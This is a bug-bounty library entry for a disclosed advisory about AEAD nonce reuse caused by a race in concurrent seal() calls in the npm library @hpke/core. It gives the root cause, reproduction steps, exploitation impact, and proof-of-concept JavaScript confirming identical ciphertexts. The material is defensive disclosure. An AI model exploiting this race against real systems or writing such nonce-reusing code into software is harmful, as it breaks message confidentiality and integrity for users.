# @hpke/core reuses AEAD nonces

Concurrent SenderContext.seal() calls in @hpke/core compute the same AEAD nonce, breaking confidentiality and integrity of HPKE messages.

- Payout: Research
- Severity: critical
- Program: @hpke/core
- Found by: panva
- Disclosed: 2025-11-20
- CVE: CVE-2025-64767
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-73g8-5h73-26h4
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-73g8-5h73-26h4
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:nodejs technique:race-window technique:source-review vuln:crypto vuln:race-condition

**Target:** HPKE SenderContext seal() API (npm library)
**Root cause:** seal() is async and reads/increments the sequence number without synchronization, so concurrent calls compute the same nonce for the AEAD.
**Steps:**
1. Create suite with DhkemP256HkdfSha256/HkdfSha256/Aes128Gcm and generate recipient keypair.
2. Create sender context with recipient public key.
3. Call `Promise.all([sender.seal(msg1), sender.seal(msg2)])` concurrently.
4. Observe recipient fails to open second message; reset `recipient._ctx.seq = 0` and it decrypts message1's ciphertext as seq=0, confirming nonce reuse.
5. Sealing identical plaintexts concurrently yields byte-identical ciphertexts.
**How found:** Reporter noticed seal() is awaited/asynchronous while the context manages nonces via a shared sequence counter, hypothesizing a race window between nonce computation and increment; wrote a PoC using Promise.all to confirm identical nonces.
**Exploitation:** An attacker who can trigger concurrent seal() calls (or observe resulting ciphertexts) gains nonce reuse, enabling XOR recovery of plaintexts and forgery of AEAD tags, breaking confidentiality and integrity.
**Insight:** In async crypto APIs, any stateful counter (nonce, sequence) read-then-incremented across an await is a race candidate; test with Promise.all on the same context and compare ciphertexts of identical plaintexts.

## Proof of concept (copied exactly from the original report)

**Concurrent seal() calls reusing AEAD nonce**

```
const [message0, message1] = await Promise.all([
  sender.seal(
    new TextEncoder().encode("Secret message 1: Attack at dawn").buffer
  ),
  sender.seal(
    new TextEncoder().encode("Secret message 2: Withdraw troops").buffer
  ),
]);

const recipient = await suite.createRecipientContext({
  recipientKey: skR,
  enc: sender.enc,
});

const plaintext0 = await recipient.open(message0);
```

**Identical ciphertext from same message proving nonce reuse**

```
const sameMessage = new TextEncoder().encode("Identical message").buffer;
const [cipher0, cipher1] = await Promise.all([
  sender2.seal(sameMessage),
  sender2.seal(sameMessage),
]);

const cipher0Array = new Uint8Array(cipher0);
const cipher1Array = new Uint8Array(cipher1);

let identical = true;
if (cipher0Array.length !== cipher1Array.length) {
  identical = false;
} else {
  for (let i = 0; i < cipher0Array.length; i++) {
    if (cipher0Array[i] !== cipher1Array[i]) {
      identical = false;
      break;
    }
  }
}

if (identical) {
  console.log("\n❌ Same message produced IDENTICAL ciphertext (nonce reuse confirmed)");
} else {
  console.log("\n✓ Same message produced different ciphertext (nonces are unique)");
```

